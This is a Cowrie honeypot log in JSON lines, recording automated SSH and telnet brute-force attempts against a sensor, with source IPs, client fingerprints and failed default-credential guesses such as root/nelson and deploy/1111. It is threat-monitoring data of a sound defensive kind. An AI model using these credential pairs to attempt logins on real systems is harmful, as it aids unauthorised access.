{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:48.920007Z","src_ip":"45.153.34.97","session":"75439538c3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.02455520629883,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:49.017966Z","src_ip":"152.42.224.71","session":"4716c228cf33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":62834,"dst_ip":"10.17.0.5","dst_port":22,"session":"41d0b3026fb5","protocol":"ssh","message":"New connection: 45.153.34.97:62834 (10.17.0.5:22) [session: 41d0b3026fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:51.614950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:51.619638Z","src_ip":"45.153.34.97","session":"41d0b3026fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:51.702451Z","src_ip":"45.153.34.97","session":"41d0b3026fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:52.170084Z","src_ip":"45.153.34.97","session":"41d0b3026fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:53.270888Z","src_ip":"45.153.34.97","session":"41d0b3026fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":33214,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c4b930a7d5","protocol":"ssh","message":"New connection: 43.135.177.217:33214 (10.17.0.5:22) [session: 41c4b930a7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:53.752235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:53.757462Z","src_ip":"43.135.177.217","session":"41c4b930a7d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:53.831358Z","src_ip":"43.135.177.217","session":"41c4b930a7d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nelson","message":"login attempt [root/nelson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:54.134506Z","src_ip":"43.135.177.217","session":"41c4b930a7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:55.206731Z","src_ip":"43.135.177.217","session":"41c4b930a7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":62860,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b36800e0c6f","protocol":"ssh","message":"New connection: 45.153.34.97:62860 (10.17.0.5:22) [session: 0b36800e0c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:55.991386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:56.067535Z","src_ip":"45.153.34.97","session":"0b36800e0c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:56.102876Z","src_ip":"45.153.34.97","session":"0b36800e0c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1111","message":"login attempt [deploy/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:56.489733Z","src_ip":"45.153.34.97","session":"0b36800e0c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":52520,"dst_ip":"10.17.0.5","dst_port":22,"session":"76bbb8db5ee5","protocol":"ssh","message":"New connection: 181.47.9.103:52520 (10.17.0.5:22) [session: 76bbb8db5ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:57.182503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:57.187500Z","src_ip":"181.47.9.103","session":"76bbb8db5ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:57.331678Z","src_ip":"181.47.9.103","session":"76bbb8db5ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:57.576530Z","src_ip":"45.153.34.97","session":"0b36800e0c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miranda","message":"login attempt [root/miranda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:57.936429Z","src_ip":"181.47.9.103","session":"76bbb8db5ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:01:59.084654Z","src_ip":"181.47.9.103","session":"76bbb8db5ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34708,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa9d757e5a94","protocol":"ssh","message":"New connection: 45.153.34.97:34708 (10.17.0.5:22) [session: aa9d757e5a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:00.405146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:00.410345Z","src_ip":"45.153.34.97","session":"aa9d757e5a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:00.497625Z","src_ip":"45.153.34.97","session":"aa9d757e5a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:00.779077Z","src_ip":"45.153.34.97","session":"aa9d757e5a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:01.878794Z","src_ip":"45.153.34.97","session":"aa9d757e5a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f9fa70e844a","protocol":"telnet","message":"New connection: 152.42.224.71:41054 (10.17.0.5:23) [session: 9f9fa70e844a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:03.357422Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34722,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dc878a9d1cb","protocol":"ssh","message":"New connection: 45.153.34.97:34722 (10.17.0.5:22) [session: 9dc878a9d1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:04.976480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:04.985697Z","src_ip":"45.153.34.97","session":"9dc878a9d1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:05.091196Z","src_ip":"45.153.34.97","session":"9dc878a9d1cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"webtest","message":"login attempt [webtest/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:05.387102Z","src_ip":"45.153.34.97","session":"9dc878a9d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:06.488853Z","src_ip":"45.153.34.97","session":"9dc878a9d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":34734,"dst_ip":"10.17.0.5","dst_port":22,"session":"2485cebfda6a","protocol":"ssh","message":"New connection: 45.153.34.97:34734 (10.17.0.5:22) [session: 2485cebfda6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:09.273807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:09.423361Z","src_ip":"45.153.34.97","session":"2485cebfda6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:09.427757Z","src_ip":"45.153.34.97","session":"2485cebfda6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39612,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f48e8d75021","protocol":"telnet","message":"New connection: 152.42.224.71:39612 (10.17.0.5:23) [session: 4f48e8d75021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:10.435344Z"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:11.077189Z","src_ip":"45.153.34.97","session":"2485cebfda6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":36102,"dst_ip":"10.17.0.5","dst_port":22,"session":"26be439fb843","protocol":"ssh","message":"New connection: 159.65.8.74:36102 (10.17.0.5:22) [session: 26be439fb843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:12.038192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:12.066076Z","src_ip":"159.65.8.74","session":"26be439fb843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:12.307167Z","src_ip":"159.65.8.74","session":"26be439fb843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:12.489783Z","src_ip":"45.153.34.97","session":"2485cebfda6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alejo","message":"login attempt [root/alejo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:13.285027Z","src_ip":"159.65.8.74","session":"26be439fb843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":64780,"dst_ip":"10.17.0.5","dst_port":22,"session":"2adac65e6871","protocol":"ssh","message":"New connection: 45.153.34.97:64780 (10.17.0.5:22) [session: 2adac65e6871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:13.902688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:02:13.908248Z","src_ip":"45.153.34.97","session":"2adac65e6871","protocol":"ssh"}
